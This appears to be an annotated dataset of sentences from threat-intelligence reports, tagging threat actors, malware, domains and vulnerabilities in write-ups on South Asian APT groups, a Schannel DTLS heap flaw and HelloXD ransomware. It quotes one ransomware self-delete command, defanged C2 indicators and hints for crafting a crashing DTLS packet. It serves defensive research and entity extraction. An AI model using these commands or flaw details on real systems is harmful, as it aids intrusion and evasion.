+{"id":1936,"text":" Urpage Bahamut Confucius Patchwork \"BioData\" Delphi backdoor and file stealer X X X VB backdoor X Android \"Bahamut-like\" malware X X X Custom Android malware X AndroRAT Android malware X InPage malicious documents X X simply obfuscated HTA downloaders X X IOS malware X Confucius malware X remote-access-c3 backdoor X Sneepy\/Byebye shell malware X Python cloud filestealers X AllaKore RAT X Badnews malware X QuasarRAT X NDiskMonitor malware X Targets","entities":[{"id":5685,"label":"threat-actor","start_offset":3,"end_offset":9},{"id":5686,"label":"threat-actor","start_offset":10,"end_offset":17},{"id":5687,"label":"threat-actor","start_offset":18,"end_offset":27},{"id":5688,"label":"threat-actor","start_offset":28,"end_offset":37},{"id":5689,"label":"malware","start_offset":39,"end_offset":46},{"id":5693,"label":"malware","start_offset":118,"end_offset":125},{"id":5694,"label":"malware","start_offset":179,"end_offset":187},{"id":5695,"label":"threat-actor","start_offset":309,"end_offset":318},{"id":5697,"label":"malware","start_offset":369,"end_offset":375},{"id":5700,"label":"malware","start_offset":439,"end_offset":451},{"id":5701,"label":"malware","start_offset":460,"end_offset":467},{"id":5702,"label":"malware","start_offset":484,"end_offset":493},{"id":5703,"label":"malware","start_offset":502,"end_offset":514},{"id":47059,"label":"SOFTWARE","start_offset":155,"end_offset":162},{"id":47060,"label":"malware","start_offset":376,"end_offset":382}],"relations":[],"Comments":[]} +{"id":1937,"text":"We did not find Urpage victims in our telemetry, likely because of the targeted nature of these attacks.","entities":[{"id":5704,"label":"threat-actor","start_offset":16,"end_offset":22}],"relations":[],"Comments":[]} +{"id":1938,"text":"However, the domains used by Urpage provided hints about its target.","entities":[{"id":45185,"label":"threat-actor","start_offset":29,"end_offset":35}],"relations":[],"Comments":[]} +{"id":1939,"text":"For one, there is the domain pikrpro[.]eu and its subdomains—the islamicfinderfeedback[.]pikrpro[.]eu and the memrifilesforinfo[.]pikpro[.]eu.","entities":[{"id":47063,"label":"DOMAIN","start_offset":110,"end_offset":141},{"id":47061,"label":"DOMAIN","start_offset":29,"end_offset":41},{"id":47062,"label":"DOMAIN","start_offset":65,"end_offset":101}],"relations":[],"Comments":[]} +{"id":1941,"text":"Additionally, many of the files related to the Urpage domains are auto-extractable files that drop Delphi or VB backdoor and open a decoy document.","entities":[{"id":47065,"label":"threat-actor","start_offset":47,"end_offset":53}],"relations":[],"Comments":[]} +{"id":1942,"text":"The decoy documents tell more about Urpage's possible targets, as it contains text from articles about the region of Kashmir.","entities":[{"id":47066,"label":"threat-actor","start_offset":36,"end_offset":42},{"id":47067,"label":"location","start_offset":117,"end_offset":124}],"relations":[{"id":300,"from_id":47066,"to_id":47067,"type":"targets"}],"Comments":[]} +{"id":1943,"text":"The header for a sample document can be seen below.","entities":[],"relations":[],"Comments":[]} +{"id":1944,"text":" The documents can also be image files with the same theme, as can be seen here. Multiple Android applications further drive this notion, as they provide services based on the interests of users in that region.","entities":[],"relations":[],"Comments":[]} +{"id":1945,"text":"They have a malicious application that provides services for religion, as well as popular sports in the region.","entities":[],"relations":[],"Comments":[]} +{"id":1946,"text":" Figure 3. Malicious application for observing Ramadan Figure 4.","entities":[],"relations":[],"Comments":[]} +{"id":1947,"text":"Malicious application for cricket news Solutions and Mitigation Taking note of these similarities and connections can help organizations and users in their continued defense against Urpage, Bahamut, Confucius, and Patchwork.","entities":[{"id":47070,"label":"threat-actor","start_offset":199,"end_offset":208},{"id":47071,"label":"threat-actor","start_offset":214,"end_offset":223},{"id":47068,"label":"threat-actor","start_offset":182,"end_offset":188},{"id":47069,"label":"threat-actor","start_offset":190,"end_offset":197}],"relations":[],"Comments":[]} +{"id":1948,"text":"The connection of Urpage to the other three threat actors demonstrate that cyberattacks don’t exist in silos and that it hints at a circulation of knowledge and technologies that help in the continuing evolution of different malicious campaigns.","entities":[{"id":47072,"label":"threat-actor","start_offset":18,"end_offset":24}],"relations":[],"Comments":[]} +{"id":1949,"text":"Given this knowledge, organizations must be more vigilant in monitoring threats, as changes in one may mean that changes in others could follow.","entities":[],"relations":[],"Comments":[]} +{"id":1950,"text":"Organizations can develop defenses against the social engineering component these four threat actors have in common.","entities":[],"relations":[],"Comments":[]} +{"id":1951,"text":"Users should be able to identify the indicators of a social engineering campaign.","entities":[],"relations":[],"Comments":[]} +{"id":1952,"text":"Paying close attention to the domain name of a website before performing any further action can also help mitigate threats, including threats like Urpage that have targeted victims.","entities":[{"id":47073,"label":"threat-actor","start_offset":147,"end_offset":153}],"relations":[],"Comments":[]} +{"id":1953,"text":"As an additional defense against the growing use of malicious mobile applications, enterprises and end users can benefit from multilayered mobile security solutions such as Trend Micro™ Mobile Security for Android™ which is also available on Google Play.","entities":[{"id":45192,"label":"SOFTWARE","start_offset":242,"end_offset":253},{"id":45193,"label":"SOFTWARE","start_offset":173,"end_offset":214}],"relations":[],"Comments":[]} +{"id":1954,"text":"Trend Micro’s Mobile App Reputation Service (MARS) covers Android and iOS threats using leading sandbox and machine learning technologies.","entities":[{"id":47075,"label":"SOFTWARE","start_offset":58,"end_offset":65},{"id":47074,"label":"SOFTWARE","start_offset":0,"end_offset":50},{"id":47076,"label":"SOFTWARE","start_offset":70,"end_offset":74}],"relations":[],"Comments":[]} +{"id":1955,"text":"It can protect users against malware, zero-day and known exploits, privacy leaks, and application vulnerability.","entities":[{"id":47077,"label":"attack-pattern","start_offset":38,"end_offset":46},{"id":47079,"label":"attack-pattern","start_offset":86,"end_offset":111},{"id":47080,"label":"attack-pattern","start_offset":29,"end_offset":36},{"id":47081,"label":"attack-pattern","start_offset":67,"end_offset":80},{"id":47078,"label":"attack-pattern","start_offset":51,"end_offset":65}],"relations":[],"Comments":[]} +{"id":1956,"text":"For organizations, Trend Micro™ Mobile Security for Enterprise provides device, compliance and application management, data protection, and configuration provisioning.","entities":[{"id":45194,"label":"SOFTWARE","start_offset":19,"end_offset":62}],"relations":[],"Comments":[]} +{"id":1957,"text":"It also protects devices from attacks that leverage vulnerabilities, preventing unauthorized access to apps, as well as detecting and blocking malware and fraudulent websites.","entities":[],"relations":[],"Comments":[]} +{"id":1958,"text":"The Trend Micro™ Deep Discovery™ threat protection platform enables organizations to detect, analyze, and respond to modern threats such as sophisticated malware, targeted attacks, and APTs.","entities":[{"id":47082,"label":"SOFTWARE","start_offset":4,"end_offset":32}],"relations":[],"Comments":[]} +{"id":1959,"text":"Trend Micro™ Smart Protection for Endpoints with Maximum XGen™ security infuses high-fidelity machine learning into a blend of threat protection techniques to eliminate security gaps across user activity and any endpoint, offering the broadest possible protection against advanced attacks.","entities":[{"id":47083,"label":"SOFTWARE","start_offset":0,"end_offset":62}],"relations":[],"Comments":[]} +{"id":1960,"text":"This appendix contains the latest Indicators of Compromise (IOCs) related to the different groups. Tags Mobile | APT & Targeted Attacks | Research","entities":[],"relations":[],"Comments":[]} +{"id":1961,"text":"Microsoft recently released a patch for a critical vulnerability in Microsoft Secure Channel (aka Schannel).","entities":[{"id":47084,"label":"identity","start_offset":0,"end_offset":9},{"id":47085,"label":"SOFTWARE","start_offset":68,"end_offset":107}],"relations":[],"Comments":[]} +{"id":1962,"text":" This vulnerability is being referred to as MS14-066.","entities":[{"id":45196,"label":"vulnerability","start_offset":44,"end_offset":52}],"relations":[],"Comments":[]} +{"id":1963,"text":" The patch addressing CVE-2014-6321 fixed many areas within schannel.dll, including at least two vulnerabilities related to the handling of the Datagram Transport Layer Security (DTLS) protocol.","entities":[{"id":47086,"label":"vulnerability","start_offset":22,"end_offset":35},{"id":47087,"label":"FILEPATH","start_offset":60,"end_offset":72}],"relations":[],"Comments":[]} +{"id":1964,"text":" DTLS is used by Microsoft Remote Desktop Protocol (RDP) to provide communications privacy for datagram protocols.","entities":[{"id":47088,"label":"SOFTWARE","start_offset":17,"end_offset":56}],"relations":[],"Comments":[]} +{"id":1965,"text":"The DTLS protocol is used by Microsoft Windows Remote Desktop Gateway (RDG) to establish a secure channel between the RDG client and RDG server (described in detail in [MS_TSGU].pdf). The RDG client initiates the DTLS connection by sending a ClientHello to the RDG Server. The RDG server then responds with a DTLS Hello Verify Request that contains a cookie; this is used as a denial of service countermeasure.","entities":[{"id":47089,"label":"SOFTWARE","start_offset":29,"end_offset":75},{"id":47090,"label":"FILEPATH","start_offset":168,"end_offset":181}],"relations":[],"Comments":[]} +{"id":1966,"text":" The RDG client responds once again with a Client Hello packet containing the received cookie, which will initiate the DTLS handshake (RFC6347 Section 4.2). Figure 1: Initiation of the DTLS handshake between RDG client and server Figure 2: RDG client and server handshake phase (Source: [MS-TSGU] Section 1.3.3.1.1)","entities":[],"relations":[],"Comments":[]} +{"id":1967,"text":"Before starting analysis, we needed to set up a test environment.","entities":[],"relations":[],"Comments":[]} +{"id":1968,"text":"For the RDG server we referred to the following walkthrough: http:\/\/terrytlslau.tls1.cc\/2014\/01\/deploying-remote-desktop-gateway-in.html.","entities":[{"id":45199,"label":"URL","start_offset":61,"end_offset":136}],"relations":[],"Comments":[]} +{"id":1969,"text":" Now let’s explore these vulnerabilities.","entities":[],"relations":[],"Comments":[]} +{"id":1970,"text":" When a client sends the DTLS ClientHello packet to the server, the server computes a Message Authentication Code (MAC) on it and compares it to the cookie contained in the packet.","entities":[],"relations":[],"Comments":[]} +{"id":1971,"text":"But the server only checks the cookie length field, not whether the cookie buffer can be read.","entities":[],"relations":[],"Comments":[]} +{"id":1972,"text":"In fact, a 32 byte length is always read, which could lead to a buffer out-of-bounds condition.","entities":[],"relations":[],"Comments":[]} +{"id":1973,"text":" It should be noted that a client could send a crafted packet to the server without needing to start an RDP session.","entities":[],"relations":[],"Comments":[]} +{"id":1974,"text":"Figure 3, below, shows a packet crafted to display a “Cookie Length” of 32 (32 is equivalent to 0x20 in hexadecimal), which does not match the actual amount of data in the cookie (shown containing only two 0x41 characters).","entities":[],"relations":[],"Comments":[]} +{"id":1975,"text":" Figure 3: A crafted packet sending mismatched size and content Related code is found in the DTLSCookieManager::ValidateCookie function: As shown above, although the server checks the “CookieSize” field, the compared length is always *(_DWORD *)(mgr + 16)), whose value is 0x20; however, the real cookie buffer length could be less than 0x20.","entities":[],"relations":[],"Comments":[]} +{"id":1976,"text":"A crafted packet could set the “CookieSize” field to 0x20 and have the actual cookie buffer contain less than 0x20 bytes of data. When a DTLS client receives a HelloVerifyRequest packet with a CookieSize larger than 32 bytes the client does not properly validate the CookieSize value against the amount of cookie data in the packet.","entities":[],"relations":[],"Comments":[]} +{"id":1977,"text":"This scenario can result in a heap overflow.","entities":[{"id":47091,"label":"attack-pattern","start_offset":30,"end_offset":43}],"relations":[],"Comments":[]} +{"id":1978,"text":"It should be noted that if you want modify the “CookieSize“ value, you should modify the other length fields to keep the packet structure valid, as shown below in Figure 4.","entities":[],"relations":[],"Comments":[]} +{"id":1979,"text":"Figure 4: An example of a properly modified DTLS packet cookie ","entities":[],"relations":[],"Comments":[]} +{"id":1980,"text":"We can see the first packet is a normal ClientHello sent by the client, and the second packet is a crafted packet sent by the server. In order to examine exploitation of this vulnerability, we used WinDBG to attach to the lsass.exe process.","entities":[{"id":47093,"label":"FILEPATH","start_offset":223,"end_offset":232},{"id":47092,"label":"SOFTWARE","start_offset":199,"end_offset":205}],"relations":[],"Comments":[]} +{"id":1981,"text":"Below, Figure 5 shows what the call stack looks like when the process crashes.","entities":[],"relations":[],"Comments":[]} +{"id":1982,"text":" Figure 5: WinDBG view of call stack when lsass.exe process crashes due to exploitation Vulnerable code is found in the CSsl3TlsClientContext::DigestServerHelloVerifyRequest function: Palo Alto Networks is releasing signature 37094 and 37059 to defend against these vulnerabilities.","entities":[{"id":47094,"label":"SOFTWARE","start_offset":11,"end_offset":17},{"id":47095,"label":"identity","start_offset":186,"end_offset":204}],"relations":[],"Comments":[]} +{"id":1983,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address!","entities":[],"relations":[],"Comments":[]} +{"id":1984,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]} +{"id":1985,"text":" By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[],"relations":[],"Comments":[]} +{"id":1986,"text":"This post is also available in: 日本語 (Japanese) HelloXD is a ransomware family performing double extortion attacks that surfaced in November 2021.","entities":[{"id":45202,"label":"malware","start_offset":53,"end_offset":60},{"id":45203,"label":"TIME","start_offset":137,"end_offset":150},{"id":45205,"label":"attack-pattern","start_offset":95,"end_offset":111}],"relations":[{"id":81,"from_id":45202,"to_id":45205,"type":"uses"}],"Comments":[]} +{"id":1987,"text":"During our research we observed multiple variants impacting Windows and Linux systems.","entities":[{"id":47096,"label":"SOFTWARE","start_offset":60,"end_offset":67},{"id":47097,"label":"SOFTWARE","start_offset":72,"end_offset":77}],"relations":[],"Comments":[]} +{"id":1988,"text":"Unlike other ransomware groups, this ransomware family doesn’t have an active leak site; instead it prefers to direct the impacted victim to negotiations through TOX chat and onion-based messenger instances.","entities":[{"id":47098,"label":"SOFTWARE","start_offset":162,"end_offset":165}],"relations":[],"Comments":[]} +{"id":1989,"text":" Unit 42 performed an in-depth analysis of the ransomware samples, the obfuscation and execution from this ransomware family, which contains very similar core functionality to the leaked Babuk\/Babyk source code.","entities":[{"id":45206,"label":"identity","start_offset":1,"end_offset":8},{"id":5874,"label":"threat-actor","start_offset":187,"end_offset":192},{"id":47099,"label":"threat-actor","start_offset":193,"end_offset":198}],"relations":[],"Comments":[]} +{"id":1990,"text":"It was also observed that one of the samples deployed MicroBackdoor, an open-source backdoor allowing an attacker to browse the file system, upload and download files, execute commands, and remove itself from the system.","entities":[{"id":5878,"label":"malware","start_offset":54,"end_offset":67}],"relations":[],"Comments":[]} +{"id":1991,"text":"We believe this was likely done to monitor the progress of the ransomware and maintain an additional foothold in compromised systems.","entities":[],"relations":[],"Comments":[]} +{"id":1992,"text":" During the analysis of the MicroBackdoor sample, Unit 42 observed the configuration and found an embedded IP address, belonging to a threat actor we believe is potentially the developer: x4k, also known as L4ckyguy, unKn0wn, unk0w, _unkn0wn and x4kme.","entities":[{"id":45216,"label":"threat-actor","start_offset":246,"end_offset":251},{"id":45209,"label":"malware","start_offset":28,"end_offset":41},{"id":45212,"label":"threat-actor","start_offset":207,"end_offset":215},{"id":45210,"label":"identity","start_offset":50,"end_offset":57},{"id":45213,"label":"threat-actor","start_offset":217,"end_offset":224},{"id":45211,"label":"threat-actor","start_offset":188,"end_offset":191},{"id":45214,"label":"threat-actor","start_offset":226,"end_offset":231},{"id":45215,"label":"threat-actor","start_offset":233,"end_offset":241}],"relations":[{"id":87,"from_id":45216,"to_id":45211,"type":"duplicate-of"},{"id":83,"from_id":45212,"to_id":45211,"type":"duplicate-of"},{"id":84,"from_id":45213,"to_id":45211,"type":"duplicate-of"},{"id":85,"from_id":45214,"to_id":45211,"type":"duplicate-of"},{"id":86,"from_id":45215,"to_id":45211,"type":"duplicate-of"},{"id":88,"from_id":45209,"to_id":45211,"type":"authored-by"}],"Comments":[]} +{"id":1993,"text":" Unit 42 has observed x4k in various hacking and non-hacking forums, which has linked the threat actor to additional malicious activity such as: Palo Alto Networks detects and prevents HelloXD and adjacent x4k activity with the following products and services: Cortex XDR and Next-Generation Firewalls (including cloud-delivered security subscriptions such as WildFire).","entities":[{"id":5898,"label":"SOFTWARE","start_offset":262,"end_offset":272},{"id":5891,"label":"identity","start_offset":1,"end_offset":8},{"id":5895,"label":"malware","start_offset":186,"end_offset":193},{"id":5902,"label":"malware","start_offset":361,"end_offset":369},{"id":47100,"label":"threat-actor","start_offset":22,"end_offset":25},{"id":47101,"label":"identity","start_offset":146,"end_offset":164},{"id":47102,"label":"threat-actor","start_offset":207,"end_offset":210}],"relations":[],"Comments":[]} +{"id":1994,"text":"Due to the surge of this malicious activity, we’ve created this threat assessment for overall awareness.","entities":[],"relations":[],"Comments":[]} +{"id":1995,"text":"HelloXD Malware Overview Packer Analyses Ransomware Internals WTFBBQ Pivots Hunting for Ransomware Attribution Conclusion Indicators of Compromise","entities":[{"id":45217,"label":"malware","start_offset":0,"end_offset":7}],"relations":[],"Comments":[]} +{"id":1996,"text":"Additional Resources","entities":[],"relations":[],"Comments":[]} +{"id":1997,"text":" HelloXD is a ransomware family first observed in the wild on Nov. 30, 2021.","entities":[{"id":47103,"label":"malware","start_offset":1,"end_offset":8},{"id":47104,"label":"TIME","start_offset":62,"end_offset":75}],"relations":[],"Comments":[]} +{"id":1998,"text":"This ransomware family uses a modified ClamAV logo in their executables.","entities":[{"id":45218,"label":"SOFTWARE","start_offset":39,"end_offset":45}],"relations":[],"Comments":[]} +{"id":1999,"text":"ClamAV is an open-source antivirus engine used to detect malware.","entities":[{"id":47105,"label":"SOFTWARE","start_offset":0,"end_offset":6}],"relations":[],"Comments":[]} +{"id":2000,"text":"We also have observed additional samples with different versions of the logo, which led us to believe the ransomware developer may like using the ClamAV branding for their ransomware.","entities":[{"id":47106,"label":"SOFTWARE","start_offset":146,"end_offset":152}],"relations":[],"Comments":[]} +{"id":2001,"text":"Additionally, some of the observed samples include properties information that can be observed in Figure 1.","entities":[],"relations":[],"Comments":[]} +{"id":2002,"text":" The file description included the entry VlahmAV, a play on words on ClamAV, and the developer named the ransomware HelloXD and used another potential alias, uKnow, as the developer of HelloXD in the copyright section.","entities":[{"id":47109,"label":"SOFTWARE","start_offset":69,"end_offset":75},{"id":47111,"label":"malware","start_offset":116,"end_offset":123},{"id":47112,"label":"malware","start_offset":158,"end_offset":163},{"id":47110,"label":"malware","start_offset":185,"end_offset":192}],"relations":[{"id":302,"from_id":47110,"to_id":47112,"type":"duplicate-of"},{"id":301,"from_id":47111,"to_id":47112,"type":"duplicate-of"}],"Comments":[]} +{"id":2003,"text":" When executed, HelloXD tries to disable shadow copies to inhibit system recovery before encrypting files using the following commands embedded in the sample: Additionally the ransomware does a ping to 1.1.1[.]1 and asks to wait a timeout of 3000 milliseconds between each reply, quickly followed with a delete command to delete the initial payload.","entities":[{"id":5922,"label":"malware","start_offset":16,"end_offset":23},{"id":5925,"label":"malware","start_offset":195,"end_offset":199},{"id":5926,"label":"IPV4","start_offset":203,"end_offset":212}],"relations":[],"Comments":[]} +{"id":2004,"text":" cmd.exe \/C ping 1.1.1[.]1 -n 1 -w 3000 > Nul & Del \/f \/q \"C:\\Users\\admin\\Desktop\\xd.exe\"","entities":[{"id":45219,"label":"FILEPATH","start_offset":59,"end_offset":88},{"id":45220,"label":"FILEPATH","start_offset":1,"end_offset":8},{"id":5931,"label":"tools","start_offset":12,"end_offset":16},{"id":5932,"label":"IPV4","start_offset":17,"end_offset":26}],"relations":[],"Comments":[]} +{"id":2005,"text":" Two of the initial set of samples identified create a unique mutex containing the following message:","entities":[],"relations":[],"Comments":[]} +{"id":2006,"text":" After those commands are executed, the ransomware finishes by appending the file extension .hello, alongside a ransom note titled Hello.txt (Figure 2).","entities":[{"id":47113,"label":"FILEPATH","start_offset":131,"end_offset":140}],"relations":[],"Comments":[]} +{"id":2007,"text":" The ransom note was modified between the observed samples.","entities":[],"relations":[],"Comments":[]} +{"id":2008,"text":"In the first sample we encountered (Figure 3, left), the ransom note only linked to a TOX ID, whereas a later observed sample (Figure 3, right) links to an onion domain as well as a TOX ID (different from the one in the first version).","entities":[],"relations":[],"Comments":[]} +{"id":2009,"text":"At the time of writing, this site is down.","entities":[],"relations":[],"Comments":[]} +{"id":2010,"text":" The ransomware creates an ID for the victim which has to be sent to the threat actor to make it possible to identify the victim and provide a decryptor.","entities":[],"relations":[],"Comments":[]} +{"id":2011,"text":"The ransom note also instructs victims to download Tox and provides a Tox Chat ID to reach the threat actor.","entities":[],"relations":[],"Comments":[]} +{"id":2012,"text":"Tox is a peer-to-peer instant messaging protocol that offers end-to-end encryption and has been observed being used by other ransomware groups for negotiations.","entities":[],"relations":[],"Comments":[]} +{"id":2013,"text":"For example, LockBit 2.0 leverages Tox Chat for threat actor communications.","entities":[{"id":45221,"label":"malware","start_offset":13,"end_offset":24},{"id":45222,"label":"tools","start_offset":35,"end_offset":43}],"relations":[{"id":89,"from_id":45221,"to_id":45222,"type":"uses"}],"Comments":[]} +{"id":2014,"text":" When observing both variants executing on virtual environments, we noted that the more recent variants changed the background to a ghost – a theme we’ve noticed in this threat actor’s work since our earliest observations of it.","entities":[{"id":5960,"label":"malware","start_offset":132,"end_offset":137}],"relations":[],"Comments":[]} +{"id":2015,"text":"However, the previous version didn’t change the background at all – it simply left the ransom note we observed previously (Figure 4). During analysis and threat intel gathering, we discovered two main packers used for HelloXD ransomware binaries, as well as for other malware samples linked to the potential author (Figure 5).","entities":[{"id":47114,"label":"malware","start_offset":219,"end_offset":226}],"relations":[],"Comments":[]} +{"id":2016,"text":"The first type of packer is a modified version of UPX.","entities":[{"id":45223,"label":"tools","start_offset":50,"end_offset":53}],"relations":[],"Comments":[]} +{"id":2017,"text":"The code is extremely similar between UPX-packed binaries and the custom packer, however the custom packer avoids using identifiable section names such as .UPX0 and .UPX1, and leaves the default .text, .data, and .rsrc names unchanged.","entities":[{"id":47115,"label":"tools","start_offset":38,"end_offset":42}],"relations":[],"Comments":[]} +{"id":2018,"text":"There are also no magic bytes within the packed payload, unlike UPX-packed binaries, which contain the magic bytes UPX!.","entities":[{"id":47116,"label":"tools","start_offset":64,"end_offset":67}],"relations":[],"Comments":[]} +{"id":2019,"text":" However, a dead giveaway that the sample is packed is the raw size of the .text section, which is zeroed out, while the virtual size is much larger, as expected; this is identical to a .UPX0 section.","entities":[],"relations":[],"Comments":[]} +{"id":2020,"text":"As there is no data within the .text section on disk, the entry point of the unpacking stub is within the .data section, which will unpack the malicious code into the .text section on runtime.","entities":[],"relations":[],"Comments":[]} +{"id":2021,"text":" All of these details point toward the threat actor having modified or copied certain elements from the UPX packer, which can be further confirmed by comparing a UPX-packed binary with a custom-packed HelloXD binary.","entities":[{"id":47117,"label":"malware","start_offset":201,"end_offset":208},{"id":47118,"label":"tools","start_offset":104,"end_offset":114}],"relations":[],"Comments":[]} +{"id":2022,"text":" The second packer we discovered consists of two layers, with the second being the custom UPX packer discussed above.","entities":[{"id":47119,"label":"tools","start_offset":90,"end_offset":100}],"relations":[],"Comments":[]} +{"id":2023,"text":"This particular packer seems to be more common on x64 binaries and involves decrypting embedded blobs using a seemingly custom algorithm containing unconventional instructions such as XLAT (Figure 6). Aside from storing the encrypted second layer, there is little to no obfuscation within the packer; API calls such as VirtualAlloc and VirtualProtect are clearly visible, and there is no control flow obfuscation.","entities":[],"relations":[],"Comments":[]} +{"id":2024,"text":" We have observed two different samples of the HelloXD ransomware publicly available, indicating it is still under development by the author(s).","entities":[{"id":6000,"label":"malware","start_offset":47,"end_offset":54}],"relations":[],"Comments":[]} +{"id":2025,"text":"The first sample is fairly rudimentary, with minimal obfuscation and typically paired with an obfuscated loader responsible for decrypting it through the use of the WinCrypt API before injecting it into memory.","entities":[{"id":45225,"label":"SOFTWARE","start_offset":165,"end_offset":173}],"relations":[],"Comments":[]} +{"id":2026,"text":"The second sample, on the other hand, is far more obfuscated, and is executed in memory by a packer rather than a full-scale loader.","entities":[],"relations":[],"Comments":[]} +{"id":2027,"text":"While the obfuscation and execution may differ between the two, both samples contain very similar core functionality, due to the author copying the leaked Babuk\/Babyk source code in order to develop the HelloXD ransomware (Figure 7).","entities":[{"id":47122,"label":"malware","start_offset":203,"end_offset":210},{"id":47121,"label":"malware","start_offset":161,"end_offset":166},{"id":47120,"label":"malware","start_offset":155,"end_offset":160}],"relations":[{"id":303,"from_id":47121,"to_id":47122,"type":"variant-of"},{"id":304,"from_id":47120,"to_id":47122,"type":"variant-of"}],"Comments":[]} +{"id":2028,"text":"As a result, a lot of the function structure overlaps with Babuk, after getting past the obfuscation.","entities":[{"id":47123,"label":"malware","start_offset":59,"end_offset":64}],"relations":[],"Comments":[]} +{"id":2029,"text":" Table 1. Ransomware sample comparison summary.","entities":[],"relations":[],"Comments":[]} +{"id":2030,"text":" While there is a lot of overlap between HelloXD and Babuk, there are some small but crucial differences to take note of between Babuk and the two different variants. HelloXD version 1 is the least modified, utilizing Curve25519-Donna and a modified HC-128 algorithm to encrypt file data, while also containing the same CRC hashing routine incorporating the string dong, possibly referencing Chuong Dong, who had previously analyzed and reported on the first version of Babuk (Figure 8).","entities":[{"id":47125,"label":"malware","start_offset":53,"end_offset":58},{"id":47127,"label":"malware","start_offset":168,"end_offset":175},{"id":47128,"label":"malware","start_offset":471,"end_offset":476},{"id":47129,"label":"identity","start_offset":393,"end_offset":404},{"id":47124,"label":"malware","start_offset":41,"end_offset":48},{"id":47126,"label":"malware","start_offset":129,"end_offset":134}],"relations":[{"id":305,"from_id":47124,"to_id":47125,"type":"variant-of"}],"Comments":[]} +{"id":2031,"text":" The HelloXD author(s) did modify the infamous file marker and mutex however, opting for dxunmgqehhehyrhtxywuhwrvzxqrcblo as the file marker and With best wishes And good intentions… as the mutex (Figure 9).","entities":[{"id":47130,"label":"malware","start_offset":5,"end_offset":12}],"relations":[],"Comments":[]} +{"id":2032,"text":" With HelloXD version 2, the author(s) opted to alter the encryption routine, swapping out the modified HC-128 algorithm with the Rabbit symmetric cipher.","entities":[{"id":6049,"label":"malware","start_offset":6,"end_offset":13}],"relations":[],"Comments":[]} +{"id":2033,"text":"Additionally, the file marker changed again, this time to what seems to be random bytes rather than a coherent string.","entities":[],"relations":[],"Comments":[]} +{"id":2034,"text":"The mutex is also modified, set to nqldslhumipyuzjnatqucmuycqkxjon in one of the samples (Figure 10).","entities":[],"relations":[],"Comments":[]} +{"id":2035,"text":" Both versions have been compiled with the same compiler (believed to be GCC 3.x and above based on the mangling of export names), resulting in very similar exports between not only the ransomware variants, but also other malware that we have linked to the potential author (Figure 11). The biggest difference between the versions is the interesting addition of a secondary payload embedded within version 2.","entities":[{"id":47131,"label":"SOFTWARE","start_offset":73,"end_offset":80}],"relations":[],"Comments":[]} +{"id":2036,"text":"This payload is encrypted using the WinCrypt API, in the same fashion as the obfuscated loader discussed above.","entities":[],"relations":[],"Comments":[]} +{"id":2037,"text":"Once decrypted, the payload is dropped to System32 with the name userlogin.exe before a service is created that points to it.","entities":[{"id":45228,"label":"FILEPATH","start_offset":65,"end_offset":78}],"relations":[],"Comments":[]} +{"id":2038,"text":"userlogin.exe is then executed (Figure 12). ","entities":[],"relations":[],"Comments":[]} +{"id":2039,"text":"What is peculiar about this file is it is a variant of the open-source MicroBackdoor, a backdoor allowing an attacker to browse the file system, upload and download files, execute commands and remove itself from the system (Figure 13).","entities":[{"id":47132,"label":"malware","start_offset":71,"end_offset":84}],"relations":[],"Comments":[]} +{"id":2040,"text":"As the threat actor would normally have a foothold into the network prior to ransomware deployment, it raises the question of why this backdoor is part of the ransomware execution.","entities":[],"relations":[],"Comments":[]} +{"id":2041,"text":"One possibility is that it is used to monitor ransomed systems for blue team and incident response (IR) activity, though even in that case it is unusual to see offensive tools dropped at this point in the infection.","entities":[],"relations":[],"Comments":[]} +{"id":2042,"text":"While analyzing the ransomware binaries, we discovered a unique string prevalent in almost all of the samples: :wtfbbq (stored as UTF-16LE).","entities":[],"relations":[],"Comments":[]} +{"id":2043,"text":"Querying VirusTotal with this string led to the discovery of eight files, six of which could be directly attributed to x4k through their own VirusTotal graph mapping out their infrastructure.","entities":[{"id":45229,"label":"SOFTWARE","start_offset":9,"end_offset":19},{"id":45230,"label":"threat-actor","start_offset":119,"end_offset":122},{"id":45231,"label":"SOFTWARE","start_offset":141,"end_offset":151}],"relations":[],"Comments":[]} +{"id":2044,"text":"The discovered samples are primarily Cobalt Strike Beacons, utilizing heavy control flow obfuscation – unlike the HelloXD ransomware samples we had previously seen.","entities":[{"id":47133,"label":"tools","start_offset":37,"end_offset":58},{"id":47134,"label":"malware","start_offset":114,"end_offset":121}],"relations":[],"Comments":[]} +{"id":2045,"text":" Unfortunately, this specific string is not completely unique to x4k, and is instead found on several GitHub repositories as part of a technique to allow a running executable to delete itself from disk through renaming primary data streams within the file to :wtfbbq.","entities":[{"id":47135,"label":"threat-actor","start_offset":65,"end_offset":68},{"id":47136,"label":"SOFTWARE","start_offset":102,"end_offset":108}],"relations":[],"Comments":[]} +{"id":2046,"text":"Running a search for the non-UTF-16LE string results in multiple files, and filtering for executables yields 10 results, the majority of which are NIM-based binaries – potentially linked to this GitHub repository.","entities":[{"id":45232,"label":"SOFTWARE","start_offset":195,"end_offset":212}],"relations":[],"Comments":[]} +{"id":2047,"text":" While the :wtfbbq string is not unique to x4k, by searching for the UTF-16LE version found inside the analyzed HelloXD ransomware samples, we only came across binaries linked to x4k’s infrastructure, providing a fairly strong link between HelloXD and x4k.","entities":[{"id":6089,"label":"malware","start_offset":112,"end_offset":119},{"id":6093,"label":"malware","start_offset":240,"end_offset":247},{"id":47137,"label":"threat-actor","start_offset":43,"end_offset":46},{"id":47139,"label":"threat-actor","start_offset":252,"end_offset":255},{"id":47138,"label":"threat-actor","start_offset":179,"end_offset":182}],"relations":[],"Comments":[]} +{"id":2048,"text":" The backdoor provided extremely useful insight into the potential threat actor behind the ransomware, as it had the following hardcoded IP address to use as the command and control (C2): 193[.]242[.]145[.]158.","entities":[{"id":6096,"label":"IPV4","start_offset":188,"end_offset":209}],"relations":[],"Comments":[]} +{"id":2049,"text":"Upon navigating to this IP address, we observed an email address – tebya@poime[.]li – on the page title, the first link in the chain of attribution (Figure 14). Using the email address as a pivot, we identified additional domains that were linked to tebya@poime[.]li.","entities":[{"id":45233,"label":"EMAIL","start_offset":67,"end_offset":83},{"id":45234,"label":"EMAIL","start_offset":251,"end_offset":267}],"relations":[],"Comments":[]} +{"id":2050,"text":"Table 2.","entities":[],"relations":[],"Comments":[]} +{"id":2051,"text":"Domains linked to tebya@poime.li Some of them historically resolved to some malicious IPs, which led us to discover additional infrastructure and malware being hosted in other domains (Table 